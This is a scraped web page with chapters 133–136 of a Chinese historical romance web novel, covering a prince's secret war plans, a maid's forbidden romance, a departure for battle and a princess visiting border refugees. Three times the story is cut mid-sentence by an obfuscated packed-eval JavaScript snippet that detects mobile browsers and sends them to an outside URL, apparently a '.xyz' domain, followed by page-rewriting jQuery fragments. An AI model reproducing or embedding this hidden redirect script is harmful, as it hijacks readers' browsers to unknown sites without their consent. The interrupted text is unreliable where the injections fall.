不过他不解:“师小将军是男子,怎么可能?” “师英玉,是女子!”暖暖想起此事便觉得心中发堵,那日泽生那么痛快地否认了此事,想来是知道舒雁在屋内,习武之人定然能凭借呼吸之声,判断房中有无他人。 暖暖恨声说道:“可恶的任泽生,竟被他骗了!” 冷逸尘轻笑了一下,拉住她的手安慰道:“我问过泽生了,他说他在临闾关时便对这女子一见钟情,二人之缘,大约从那时就结下了,后来泽生又从土匪窝里救了她,这便是缘分,随他们去吧。” “说得简单,舒雁自自幼长在深宫,哪里经历过这样的磨难,我就怕她被骗。” “泽生的为人,你也了解,他不会乱来。” “我可太了解他了,只怕他喜新厌旧!我要去把舒雁找回来!”暖暖说着便要起身。 冷逸尘将她按回去,说道:“好了,此事不要担心了,你先再去让人情以何堪?” 暖暖依旧心有不平,冷逸尘劝慰良久才将她安顿在床上。 待她的呼吸逐渐均匀后,冷逸尘赶紧起身回到书房,对着屏风后说道:“出来吧!” 133. 未雨暗绸缪 季萧自屏风后屏风后出来,拱手为礼:“殿下。”他已刮掉了胡须,梳洗了头发,一身夜行衣干练利落。 就在一个时辰前,他将陛下的亲笔信交给冷逸尘,便听见外面有脚步声,仔细一听就知是公主的。此番他秘密前来,并不想让公主知情,于是躲到了屏风后。 冷逸尘则拿了披风出去迎接暖暖,又找了个借口将她带走。 叶皓的回信,冷逸尘只看到一半,上书绣衣使已探得祁囯边境不稳,契丹人正暗中调兵,恐不日会有战争,这与他得知的军情一致。 现在,他继续看下去,后半封信的大意是,为安全起见,请他立即将暖暖送回维扬,信中却只字未提及二人的婚事。 放下信,想着暖暖说道计划,他内心充斥着矛盾与挣扎。 季萧见他不语,以为他是不愿放手,于是说道:“希望殿下能尊重我朝陛下的意思,在下知殿下对公主情有独钟,但还请殿下为公主考虑……眼下,只怕公主只听殿下的话了。” 他心里清楚得很,二人如今难舍难分,不然这崇宁王也不会让他在此等上一个时辰,此时他去说服公主离开,只怕难如登天。 冷逸尘缓缓开口:“此事我自会考虑……眼下,契丹那边可有绣衣卫的人?” “已无,殿下是何意?” 冷逸尘心中已下定决心,起身直视对方:“想请绣衣卫助我一臂之力。我早料到会有一战,与其被动等待,不如主动出击。此一战我已准备许久,只差一个契机,只为师出有名。” 季萧有些惊讶:“殿下的意思是让绣衣使挑起事端,引发战争?” 冷逸尘默然点头。 季萧怔了一下,此人竟然如此大胆,他不解地问道:“殿下可知自己在说什么?绣衣卫只凭我朝殿下驱使,就不怕在下泄密吗?” “我自然思虑过,绣衣卫出手,事后便可抽身。此事只是我一人的计划,有绣衣卫的帮助,此计划便可提前。。” 季萧看着书案前的人,沉静中透着一股平静的疯狂,但他也只能说道:“在下只听从陛下一人旨意,恕难从命!” 冷逸尘站到窗边,看着明月高悬,叹息道:“我此身只能以死得脱,此后世间才可再无崇宁王。” 季萧这才明白此人要放弃现在的一切,假死脱身,这难道是为了公主?他有些迟疑了:“此事重大,在下需禀明陛下。” 冷逸尘坐回原处:“他不会同意……若无绣衣卫帮助也可,不过是多费些周章。” 一个“他”字让季萧更加诧异,想到此人之前访粱时又与陛下密谈良久,猜想此人与陛下关系必然不一般,但还是犹豫,没有陛下命令擅自行事便是背主,可若不答应他,只怕会对公主不利。 “你不必为难。”冷逸尘将信放于蜡烛上点燃,看着跳动的火光,眼中是决绝:“我意已决,我不能再辜负她了……你放心,我会将公主送回。等了边境事了,还有更重要的事情要做。” “请殿下容在下考虑考虑,告辞。”季萧说罢翻窗出去。 也已深,周围再无动静,冷逸尘闭眼深呼一口气,内阁为了分权,将燕北划成了五郡,现在他只有辽西和辽东两郡的兵力可以调派,兵力大减,他也没有确切地把握可以打赢这一仗。 但此仗若不打,一则契丹人会越来越猖獗,攻打中原是迟早的事,二则他将永远困顿于此地。 但是他必须离开,与师兄一起报长右山之仇,与叶岚此生此世不分离。 他打开军机,提笔调兵布局,此事再难他也要去做,此行再险他也要走一遭。 纸上的字迹未落几笔,窗户处轻轻一响,他抬头看时,季萧已站在了书案前。 只见他面色凝重,眼神坚定,拱手为礼:“在下愿助殿下一臂之力,殿下需要在下做什么?” “好……”冷逸尘站起身来,邀他落座,将门窗紧闭,细细与他说起边境战局。 当季萧离开的时候,天空的太白星正亮,东方的天空已微微发蓝。 长夜将尽,冷逸尘把蜡烛全部熄灭,静静地坐在书案前等待天亮。 半个时辰之后,院内响起洒扫之声,他起身开门,一股凉意袭来,天际虽泛白,但院内的景致仍有些模糊,他踩着半湿的石板路,向院外走去。 黎平听见动静,赶紧跟过来,他尚有些困顿:“将军,怎么早?” “任将军呢?”冷逸尘问道,平日里只要他住在这庄子上,泽生一定会跟随左右,但想到昨夜之事,他便明白了缘故。 黎平:“今日还未曾见到任将军。晨露重,将军有什么事吩咐属下就好了。” “去厨房!”冷逸尘脚步未停。 “将军饿了?属下去吩咐厨房就好,何劳将军亲自去。” 冷逸尘没有说话,径自向厨房走去,到了那里正见厨子将今日的牛奶拎进来。 黎平这才明白,将军这是有要做酥酪了,以前他一直奇怪,堂堂大将军竟喜欢这女子吃的小食,还亲自动手做,现在他终于明白了,原来是为了有朝一日做给心上人吃。 他忙抱柴生火,帮忙准备食材,他看过无数遍,吃了无数次,所需的食材和制作过程早已牢记在心,不夸张地说,现在让他闭着眼睛都能做出来,就是味道没有将军做得好。 一切流程按部就班,但冷逸尘不敢松懈一点,他多次尝试就是为了他的叶岚能吃上一口,其实叶岚归来后他做了三次,但各种原因都没能让她吃上一口,今天说什么也要让她尝尝。 因为下次,不知道要等到什么时候了。 酥酪一共做了两碗,照例有黎平一份,他将桂花酱淋到碗中,便大功告成。 外面天已大亮,他估摸着叶岚已起床,便提着食盒去往她住的院子,不想却被拦在了门外。 “公主有令,任何人不得入内。”冰绡瞥了一眼食盒,毫不留情地说。 屋内,暖暖刚刚梳完发髻,她拿起珍珠发簪交给舒雁,说道:“眼睛肿成这样,一会儿去歇着吧。” 昨晚她归来后佯装睡着,等冷逸尘走后便让冰绡去留意舒雁的动向,不多时,冰绡就来回禀:“舒雁已回来,在屋子里面哭泣。” 她见舒雁安全归来便也没有前去询问,只怕她此时正在伤心处,暂且让她自己冷静一下。 灯火昏暗,暖暖在灯下孤身坐了很久,她想起了安如、云琴、秦羽、还有跟过她秋雨、梧桐,当年若无秦羽来求亲,也许现在的二人会是另一番境况吧。 舒雁与泽生这件事,她并不想同意,依她是计划,等归去后她便去求四哥,为舒雁选一个世家子弟,此后安稳一生,而不是找一个泽生这样的浪荡子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808432|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舒雁的手顿住,小声问道:“公主都知道了?” “昨晚才知道。”暖暖说着将发簪又举高了一些,示意她接下。 舒雁接过发簪,轻轻簪在公主的发间:“公主恕罪,是奴婢让公主担心了。”说罢眼泪便流了下来。 “我只是担心你以后受苦,任泽生此人……”暖暖顿了一下,任泽生此人忠诚仗义,是做朋友的不二人选,但是要用来为人夫君,在她心里他还不够格。 “舒雁,你自幼遵守宫规,未有一丝逾矩,我早已为你做了筹谋,你怎么就……趁着还未深陷,我劝你尽快了断。” 舒雁跪下顿首,声音有些哽咽:“奴婢……听公主之令。” 那人她听到了公主与泽生的对话,二人虽未说下去,聪明如她,便也猜出了其中的缘故,当下心中就凉了半截,便下定决心要分开。 可情丝已绕,斩断便是一番痛苦。 暖暖拉起她的手,擦掉她的泪水,解释道:“舒雁,我也不是逼你,此事你应该心里明白,泽生他注定要戎马一生,我不愿你整日提心吊胆地过日子,我此前见过了太多的生死别离,不愿再见到身边人重蹈覆辙。” “奴婢昨晚已与任将军说明,此后再无瓜葛……此后奴婢陪服侍公主左右,不再做他想。”舒雁说着,眼泪又滚落下来。 暖暖懂得这番心痛,也知她是个通透之人,但这难受的劲头总要有个时间才能过去,她拉起舒雁:“起来吧,回去好好休息,不必过来服侍了。” 舒雁走后,冷逸尘立刻进来,见暖暖以手支颐,闭眼锁眉,以为她又是头疾发作,便快步上前来握住她的手腕。 暖暖睁眼,看到来人一脸担忧与疲惫,挤出一个笑容,轻轻摇摇头。 “昨晚没休息好?”冷逸尘端出酥酪,挖了一勺送到她的嘴边。 暖暖看看酪酥又看看眼前人,轻轻推开他的手:“没有胃口……” “尝尝……我亲自做的。”冷逸尘说完又将勺子送近一些。 “你事务忙,还要亲自做这些做什么。”暖暖说着吃了半勺:“不错……” 冷逸尘仔细观察她的表情,见她没有欣喜,放下碗和勺子,不满地说道:“怎么?我辛辛苦苦一早上,你就给我这两个字的评价?” “对不起……”暖暖双手捧起碗,又吃了一勺:“真的很好吃。” “我这一番功夫算是白费了。”冷逸尘拿过碗:“已经凉了,不必吃了。” “抱歉……”暖暖搓着手中的勺柄,她知道对方只想自己赞叹一番,可她现在的确没有这个心情去品尝美食。 舒雁的事以及过去的人和事,现在在牵扯着她,她无法伪装成无事人一样。 面对冷逸尘的不满,她不知如何解释,只觉心中酸涩,几滴晶莹的泪珠从眼中掉落,她轻轻拭掉,背过身去。 这举动让冷逸尘不知所措,站起身来扳过她的肩膀,问道:“这是怎么了,是我不好,又惹你伤心了……” 他这么一说,让暖暖觉得自己的委屈倒是可以发泄一番,于是揽住他的腰,将头贴在他身上,呜呜咽咽地哭泣了一回。 冷逸尘不知所以然,心下焦急却不知说什么是好,心只得轻轻抚着她由她哭泣。 他们分开的时间太长了,纵有亲热,可其中却也带着几丝生分。 134. 此去为风雷 “我只是……”暖暖松开手,用帕子擦了泪痕:“我只是突然不知道做得对,还是不对。” 冷逸尘绞了帕子为她擦着脸和手:“你是说泽生的事?此事?你不同意?” 暖暖点点头。 “为何?” “除却画眉和舒雁,跟过我的人,从未有一人得过善终,秦羽身死,云琴心伤,梧桐中箭身亡,安如姑姑替我引开追兵坠车而亡,秋雨死得更是惨烈……” 暖暖说着,面色逐渐苍白,手指也渐渐发凉,但语气却坚定:“所以我一定要给舒雁一个好归宿……” 冷逸尘握住她的双手,试图让她温暖起来:“不要这样自责,有些事没来得及跟你说,宫变之后,我命人找到了梧桐的尸体,已将她安葬。安如姑姑的坟茔,去年也迁到了临闾关,你若想追思,回去后便可以。至于秋雨,她则是以王妃的规格安葬在了重峪关,如此,也不枉她一片忠心……” 暖暖看着他,不想他竟还想着这些事,默默地在背后安排好了一切,她心中甚是感激,不觉又湿润了眼角,反握住他的手,由衷地说了声:“多谢……” “不要这样说,你以前说过,让我不必多有抱歉,我们是夫妻,你的事便是我的事……那么泽生的事,你还不同意吗?” 暖暖摇摇头:“一码归一码,你不能拿这些事来为泽生讨情,此事我不会同意,舒雁也说昨晚便已与他决绝。” “泽生哪里不好?就让你这样看不上。” “我要给舒雁一个安稳的生活……”暖暖本想说“不要过这样动荡的生活”,可想到眼前之人以及她自身,如今就是这样的处境,她恐他多心便改口道:“我不希望她的夫君用情不专,令她陷入内宅争斗之中。” 原来如此,冷逸尘不自觉地笑了一下:“你原来是担心这个,你大可放心,我给他下道令,不准纳妾,可好?你放心,三书六礼我们一样也不会少。” “此事……再议吧。”暖暖知与他再说此事也不会有结果,于是转移了话题:“你脸色怎么这样不好?是我昨晚打扰你了……” “佳人在侧,怎还有心政务。”冷逸尘说着轻轻拔下她发间的珍珠发簪。 “你……何时也学得这般轻浮了?” 冷逸尘咳了一下,正色说道:“暖暖,有件事要和你说一下,我要离开一段时间,边境最近有些不安稳,需要我过去看看。” “是要出征了吗?”暖暖的心揪了一下,猛然抬起头,眼中满是担忧。 “不是,辽东刚刚收复,总有一些不臣服之人,只是平常事。放心,我很快就回来。”冷逸尘说着扬了扬手中的簪子:“这簪子权当是你我的定情信物,可好?” “好……什么时候出发?”暖暖无心与他说什么信物不信物的,她二人之情已不需要信物来做证了。 “过几日启程,届时我派黎平送你回临闾关。” “不必,有绣衣使护送即可,你此去危险,身边多一个人我也能放心些。” 冷逸尘收起珍珠发簪,看着她将药喝完便又回到书房。 泽生已在此等候良久。 他见泽生一副失魂落魄的样子,便知叶岚说道是真的。 还未等他开口,泽生先行开言:“殿下,昨日军报,边境有契丹人活动,末将愿带兵前去驱敌。” 冷逸尘:“你已是一郡守将,此事不必再与我请示。只是,边境的事情已不是一日两日,为何今日突然想起来出征?” “末将……此前是末将懈怠了。” “你不必遮掩了,我希望你不要意气用事,此事还有转圜的余地,待你回来,不,时机一到,我会亲自去向公主提亲。” 一丝希望在泽生眼中闪过,随即又黯淡下去:“多谢殿下,此事随缘,末将这就启程。” 他倒退两步走出书房,脑中皆是舒雁的音容,这个女子,看似柔弱,内心却有一股子坚韧。 记得他接到殿下的命令后,便立即带人进山搜寻,几经波折,终于找到了劫匪的老巢,一番筹谋布局,最终将劫匪全数歼灭,他在一间土房内找到了受伤的舒雁。 他也未想要找之人,竟然是临闾关那晚提灯笼之人。 军中无有女眷,他只得将她暂时安置在这庄子里,但她似乎是吓傻了,自被救之后一言不发,只在给公主写过一封信后对他说了一句:“多谢将军。” 之后她便要悬梁自尽,但这样好的女子,怎能就此香消玉殒,于是他每日开导,才带她走出了困局,放弃寻死。 他本就对她有意,此后竟身陷其中,现如今这个结果,要怪只怪他未将前尘往事悉数告知,在公主责问时露了破绽。 泽生走后,冷逸尘便搬去了军营,边境的局势越来越复杂,契丹人偷袭了一个村庄,抢劫财物,杀人无数。 半个月之后,冷逸尘率军出征。 这日一早,他站在暖暖的院子里,一身银色柳叶甲在晨光中熠熠生辉。 这一身戎装,暖暖见过三次,第一次是在榆关大营的中帐内,第二次是在重峪关战场上,第二次是在舒雁被劫走那晚。 往事历历在目,回忆恍如隔世。 之前都是匆匆一瞥,而今正视于他,暖暖只觉得“惊”,这“惊”不是愁不是惧,亦不是凄凉,只犹如“韩信拜将,一军皆惊”,使她的三世十方皆惊动起来。 她有一瞬间的驻足,随即上前,将一个香囊交给他,心中纵有千言万语,开口却只是“保重”二字。 冷逸尘郑重地接过,放在鼻下轻嗅了一下,依旧是熟悉的茉莉香,而后轻轻放于铠甲内,贴身收好。 他想去拥抱她,可这一身盔甲,怕是会伤了她,未想对面之人却伸手抱了上来,在他耳边轻轻说道:“我等你回来,等你回来娶我。” 暖暖说完,泪水忍不住滑落下来,她怕他看到便松了手,转身快步走到了屋子里,背靠着关好的门,捂着嘴不让自己哭出声音。 早知道他要走,这几日她格外珍惜与他在一起的时光,原以为经过漫长的告别,便不会再有伤感,可真到了这一刻,还是有控制不住的离愁。 院子里脚步声渐行渐远,她透过门缝见院内已无人,才打开了门,忽觉这个庄子安静了下来。 太阳已经完全升起,天空没有一丝云彩,热气一点点在空气中弥漫开来,海棠花谢尽,已结出一粒粒绿色的小果子。 暖暖摘了一颗果子,光滑圆润的果子带着些许凉意,也许她也该离开了。 “冰绡!收拾东西回临闾关。” 她的命令虽下得突然,但这次却不着急,等绣衣卫探得前路无虞后她们才启程。 此次归程,车马浩荡,不仅有绣衣使跟随,黎平亦带一队人马护送,冷逸尘终是不放心,还是将黎平留下。 为防止之前黑店的事情发生,此次队伍将一应物品准备俱全,不再在外借宿饮食,饭时便埋锅造饭、夜间便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831944|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安营扎寨。 此番行程,人吃马喂,速度便比以前慢了不少。 路程行至一半,临近午时,天气愈发热了起来,暖暖命队伍停下,原地休息补给。她在车内伸了伸快要麻木的四肢,整理了一下衣衫,在众人的搀扶下走下车来。 阴凉处早已摆放矮桌,桌上布好茶水与点心,她坐下饮了半盏茶,才觉得解了些燥热。 依她的心思,策马狂奔回去才好,可现在她还是公主,公主就要有公主的样子,她命冰绡将茶水点心分发给众人,并叮嘱等众人解了乏后再启程不迟。 午饭后,除了几个值守的绣衣使及军士,其余人皆去休憩。 正当暖暖在零零散散的蝉声中昏昏欲睡之际,忽听得一阵嘈杂之声,透过帷幕望去,只见两个绣衣使正在驱赶一个布衣之人。 于是示意冰绡上前询问,不多时冰绡来禀:“是贩货的商人中了暑热,问咱们有没有清热的丹药。” 救人为难之中,助人急需之时,她立即命舒雁找出霍香散,亲自带药前去。 那布衣拿到药,千恩万谢回去给病人服下,看着病人面色由白转红,大家才松了口气。 暖暖命绣衣使沏茶来为众人解暑,转身欲回时,被一人叫住:“贵人请留步。” 她转身看见一位大胡子正拱手为礼,适才此人一直低头照顾病人,她并未看到他的容颜,此番看清了,暖暖笑道:“这位大哥,真是有缘。” 此人正是赵永山。 “贵人又帮了我们一次,赵某感激不尽。”赵永山的语气中略带疲惫,但见此姑娘有如此阵仗排场,料定不是凡人,礼数上并有有一丝懈怠。 暖暖这才想起来他叫“赵永山”,她看着这一行人,他们身上衣着有些破旧,头发毛燥,似乎是连夜赶路过来。 而那病人似乎也不单单是中暑,似乎还有别的病症,他们怎么会带着病人匆匆赶路? “赵大哥,不想能在此处遇见,你们不是在辽东贩货吗?” “唉!一言难尽呀!”赵永山叹了口气。 此时茶水已送来,他接过一碗,道了谢继续说道:“辽东最近不太平,我销完手里的药材便进山去收药,借宿在一个村子里,不料遇到了契丹人偷袭了村子,多亏了侠士相助,侥幸逃生,但是折了许多财物。” 暖暖劝慰道:“钱财可以再赚,能死里逃生已是万幸。” “谁说不是呢,本想着再在山里呆一段时间,回回本钱,谁知这契丹人越来越猖狂,无奈我们只得匆匆赶回。” 暖暖听着不由得担忧起来,冷逸尘不是说只是小问题吗?怎么事态似乎严重起来。 赵永山话匣已打开:“说来有更巧的事,就我们之人,姑娘可知是谁?” 暖暖摇摇头。 “瞧我!姑娘怎会认得……”赵永山呵呵一笑,继续说道:“这人正是今年宁远城最大的药材商,之前我还奇怪,宁远城半数的药都被他收走了,他不单单收药,还收皮革、布匹,是个大商人。我还纳闷他好好地买卖不做了,怎么突然就离开了?原来是去了辽东亲自收货。虽然他刮了胡子,但是我还是一眼就认出他来,你还别说,他这一打扮,倒是有几分江湖侠士的风范。” 季萧,暖暖十分确定,赵永山说的这人就是季萧,自从她说完季萧不修边幅之后,季萧便刮了胡子、换了衣衫,而她也有十几日没见到季萧了。 他去辽东,真的是为了收药吗? 135. 边塞战事急 暖暖心中不免多了些担忧,可若此时回去,不论冷逸尘还是季萧,都会分神来保护她,这会给他们添麻烦。 她相信他们,都会解决好各自的事情,思量过后,还是打算回临闾关。 她命随侍的军医为病人诊治,辞别赵永山等人后立即启程。 又行了三日,终于回到了目的地,陈安已在关城门口等候,黎平将一行人与他做了交接之后,并未停留,率队伍轻骑快马返回宁远城。 到了都尉府门口,暖暖下了车架,见到迎接之人,略带着疑惑叫了一声:“陈安?” 这熟悉的一声,方让陈安确认了此人就是王妃,此前那种陌生的感觉也荡然无存,于是行礼问安:“回公主,正是小人,请公主入府休息。” 在王妃来之前,陈安收到冷逸尘亲笔,说是王妃归来,让他务必保证王妃安全。但王妃未死,这个事实没有多少人知道,盖棺定论,这世间再无王妃。 他正犹豫着该如何称呼马车中的这位,见黎平等人皆称呼“公主”,便也从众人改了口。 暖暖未入住陈安安排的清和轩,而是住进了山海居,这里虽然简陋,但是却有着她和冷逸尘最美好的记忆,她还计划着将这里好好收拾一番,以后可以常住于此。 一入院,绣衣使便立即将院子监守起来,她吩咐冰绡:“已到关内,不必如此紧张,让大家去休息吧。” 冰绡听令却也不敢懈怠,安排好值守,轮番换岗。 旅途劳顿,暖暖只觉精神不济,沐浴一番后,睡至了次日天亮,她似乎很久没有睡得这样安稳了。 当日午时,前线捷报送达,冷逸尘特命陈安为公主送一了份,她将捷报看了几遍,舍不得放下,心想:也许他很快就回来了吧! 此后她每日都去城墙上远望,期盼着队伍的回归,但是没有等到队伍,却见城墙角下的流民越来越多。 冰绡自临闾关城回来,也说城中来了不少投奔亲戚之人,这让她的心又悬了起来。 傍晚清凉的海风吹走夏日的燥热,太阳虽落山可天还是很亮。用过晚饭后,暖暖坐在院子里,看着舒雁收拾月季花。 舒雁将枯萎的花朵和多余的枝叶剪掉,说道:“这月季花虽美,但是却刺多,不如牡丹,花朵大且娇艳。” “越是娇艳的东西越难养,此地寒冷,是养不活牡丹的,这月季耐寒且花期长,若养得好,一点也不输牡丹。”冰绡边说边端着药来到公主跟前。 “牡丹国色天香,如公主般尊贵,岂是月季比得了的?” “一株植物,哪有什么尊贵与低贱之分,都是人们的喜好罢了,我倒是觉得牡丹花开易败,倒不如这月季花,长得好不如活得久。” 听着二人拌嘴,暖暖倒是觉得她们都是在说她们自己,冰绡于生死间摸爬滚打,最期望的就是好好活下去,而舒雁守着规矩日复一日,她便向往热烈的生活,也许与泽生的爱恋便是一次大胆的尝试。 她未做评判,每个人都有不同的经历,不同的经历致使人有不同的想法,无关对与错。 接过了药,她说道:“我觉得身子已无大碍,这药自明日起就不喝了。” 冰绡未直接拒绝:“明日还是请军医来为公主瞧瞧,再做决定不迟。” 暖暖点点头,饮尽了碗中之药,漱完口后听舒雁问道:“公主,这朵漂亮,奴婢为公主剪下来装饰书房,可好?” “好”字刚要说出口,却见那多花在风中轻颤了一下,她改口道:“不必了,就让它多开些时日吧。” 晚间,暖暖无心睡眠,在灯下铺纸研磨,打算抄些诗文,她也并不是想再次捡起这个习惯,只是想集中注意力来想些事情。 想一想她与冷逸尘的以后,想一想要如何与他三哥哥说此事,想一想她四哥哥会下怎样的旨意,摘掉她公主的头冠。 写着写着,身边的舒雁手一抖,不自觉地向她靠近了一些,这一动,也让烛火微微晃动了一下。 “暖暖看着她有些害怕,问道:“怎么了?” “奴婢……奴婢好像听到了哭声……” 曾经的深宫之中,幽怨颇多,舒雁对这声音格外敏感与惧怕。 暖暖思绪飘荡并未注意到,仔细听了听,的确听到了妇人哭泣之声,她立即叫来冰绡,命绣衣使去探查是何原因。 冰绡回道:“公主不必害怕,是近来军营辟出一块地方安顿难民,就在这附近,大概是有人受不住劳顿之苦,故而哭泣。” 她在外已听到哭声,这凄惨的声音唤着“儿啊,我的儿啊”,大约是母亲失了孩儿,但她恐公主忧心,便未告知实情。 “近来可有战报送来?”暖暖还是担忧起来,难民愈多,则战况愈烈。 “没有,明日属下去问问,公主早些安歇。” 暖暖轻叹一口气,她知现在担忧也无用,于是命舒雁收拾了笔墨,自去床上休息。 次日一早,暖暖刚真开眼,床帷还未打开,冰绡便过来回话,暖暖赶紧起身命她进来。 冰绡:“回公主,已问过陈管家,他说未有战报,只是从军营里调了两次兵支援辽东郡。” 暖暖不由得皱眉,战况到底如何了?再去问陈安,恐怕不合适,这毕竟是军机,能告知她们调兵已经很不错了。 她突然想到,倒不如去问问那些难民,他们自辽东而来,说不定也有自边境而来的。 于是吩咐道:“安排梳洗,我要出去。” 一番梳妆后又简单用了些饭食,她带着冰绡及两名绣衣使,打着送解暑药的名义来到了难民营。 今日无风无云,虽是清晨,但阳光已开始刺眼,空气中微微发热。 难民营四周都有军士带刀把手,中间支着两口大国,难民们由军士看着排成两队,按顺序领取食物,之后三三两两聚在一起,食用着粥和窝头,他们身上的衣物破旧不堪,脸上带着疲惫与茫然的神情。 暖暖忽然听见一个婴儿哭泣的声音,像一只小猫一样,有气无力,但再小的婴儿也不该如此哭泣,瑾儿刚出生时哭的声音都比这大。 闻声看去,见一个妇人正掀开衣服给一个婴儿喂奶,但怀中的婴儿却哭泣不止,那妇人眼睛浮肿、面色蜡黄、干瘦无力,定然是没有奶水。 她回头吩咐舒雁:“去厨房找找有没有羊乳,再找些有营养的食物来。” 之后走上前去,看着妇人怀中的孩子,个头十分小,应该有半岁左右。 妇人见她们衣着不俗,便抱着一丝希望,忙给她跪下磕头:“求贵人救救孩子吧,俺已经没有奶水了,再没有吃的,他就要饿死了……” 她说着就大哭起来,抬头伸手欲抓暖暖的衣裙,冰绡及时用剑套挡住她的手,不想她却抓着剑套不松手,仿佛这就是她的救命稻草一般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855945|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时旁边一个头发灰白的老妇人也跟着跪了过来:“求贵人救命,救救俺这可怜的孙儿吧……” 暖暖看她们十分可怜,心生怜悯之情,说道:“你们稍待,食物一会儿就拿来。” 她声音虽小,但也有被周围的人听到,于是难民开始向她们聚拢过来。 冰绡谨慎,立即示意绣衣使上前护着公主后退,她则断后。 那妇人见贵人离开,着急地呼喊起来,起身走了两步却又摔倒在地。 起初冰绡用剑挡在她身前时,暖暖还有些不解,但是看到难民涌过来,才发觉是自己的做法欠妥当了,正所谓:不患寡而患不均,不患贫而患不安。 饶是这样,她依旧担心着那婴儿的安危,见舒雁提着食盒而来,她停住脚步命冰绡将那对母子带过来。 不多时,绣衣使架着那妇人过来,那老妇人抱着孩子在后面追着大哭道:“你们这是做什么?放开她……” 暖暖斥责道:“怎这般无礼?” 冰绡解释道:“公主恕罪,若不是如此,只恐不能将她们带来。” 暖暖明白了缘由便不再怪罪,就近捡了个阴凉处命舒雁将食物摆出来。 舒雁将食物一一摆开:“咸笋蒸鹅、糟香鹌鹑、荷叶鸡、油肉饼,这里还有……” 或是二人许久未见荤腥,道了声谢便抓起食物开始狼吞虎咽。 舒雁还未说完便被打断,十分不满,她哪里见过如此腌臜无礼之人,端出羊乳后便侍立在公主身后。 暖暖见她二人无暇顾及婴孩,便将孩子接过来,用勺子一点点将羊乳喂给他。 按说吃惯了母乳的孩子会不适应羊乳的味道,但婴孩饿极了,喝了一口后后,张着小嘴迫不及待地想喝第二口,后来干脆捧着碗喝了起来。 待二人吃饱后,老妇人又将剩下的食物用帕子包了起来,藏在身上留到下顿吃。 孩子母亲将手在衣服上使劲擦了擦,从暖暖怀中接过孩子,跪下说道:“多谢贵人的大恩大德,我们没有什么可以报答的,只能祝贵人以后事事顺意、岁岁平安。” “你们是哪里来的?”暖暖想问问关外的情况。 “俺们是从辽东郡牛家庄来的。” “是在边境吗?” “是,是……俺家被契丹人毁了,丈夫入伍战死,公爹伤心过度也病死了,我便带着婆母与两个孩儿一路逃难到了关内……” 暖暖不解:“两个孩子?怎么只有一个孩子?” “大的……大的……”孩子母亲伤心地喘不上气来,将头埋在孩子身上大哭起来。 那老妇人接着说道:“大的昨晚死了,走路磨破了脚,天又热,血淋淋的一直不好……” 暖暖直觉着心痛与无力,这世上的苦难,救也救不完,但正事还是要问:“那里的战况如何了?” 老妇人回答:“契丹人出动了量的人马,朝廷的兵节节败退、伤亡严重,要不然俺们的村也不会被毁。” “节节败退”“伤亡严重”,这些字眼让暖暖惊心不已,冷逸尘,你还好吗? 忽然急促的马蹄声近,马上的军士高呼:“紧急军令,紧急军令。” 这么着急,一定是调兵的军令,暖暖心中打了个寒噤,手脚一下变得冰冷,抬头看着军士快马奔入军营。 她面色变得凝重起来,起身吩咐道:“回去,叫陈安来见我。” 136. 生死两茫茫 暖暖坐在正堂之中等待陈安到来。 舒雁打水为她净了手,并问公主是否需要更衣,她忧心那婴孩衣衫不洁。 暖暖无心这些,只等陈安到来。 不多时陈安快步进来,对她行了一礼:“不知公主找小人何事?” 暖暖屏退所有人,之后并不言语。 陈安猜测她要说之话必是秘隐,快速思考一番,便解其意,于是跪拜叩首:“小人陈安参见王妃。” “好,陈安,若你还认本宫为王妃,就将前线之事如实讲来。” 陈安不敢隐瞒,将实情托出:“殿下已调兵两次,刚才是第三次调兵之令,来人说前线危机,殿下被围困……但现在大营中已无兵可调,若将兵力全部调走,只恐契丹人趁乱偷袭,则临闾关危矣。” 冷逸尘被围困!暖暖听了如坠冰窟,颤抖着问道:“其它三郡皆有兵力,为何不调?” “其它三郡,除上谷郡守将韩平将军外,渔阳郡与右北平郡的守将,皆是圣上舅父,此二人本就与殿下不和。此外内阁之人对殿下有戒心,之命殿下出兵,却不支持粮草与兵力,如今殿下只有辽西、辽东两郡之兵力可调。” “本宫记得韩平将军是殿下挚友。”暖暖抱有一丝希望。 “王妃记得不错,只是现如今没有朝中的旨意,恐韩将军不敢擅自用兵,即便是韩将军不顾安危,派军而来,但上谷郡距此地甚远,也只怕远水救不了近火。” “可还有什么办法?”暖暖听完,心沉到了底。 陈安思索了一下,回答道:“殿下有亲军五千,在建昌大营驻守,此兵乃殿下私军,但唯有兵符可以调动。” 兵符?兵符!燕型兵符! 清和剑在暖暖脑中闪过,她唤来冰绡,耳语道:“将清和剑取来。” 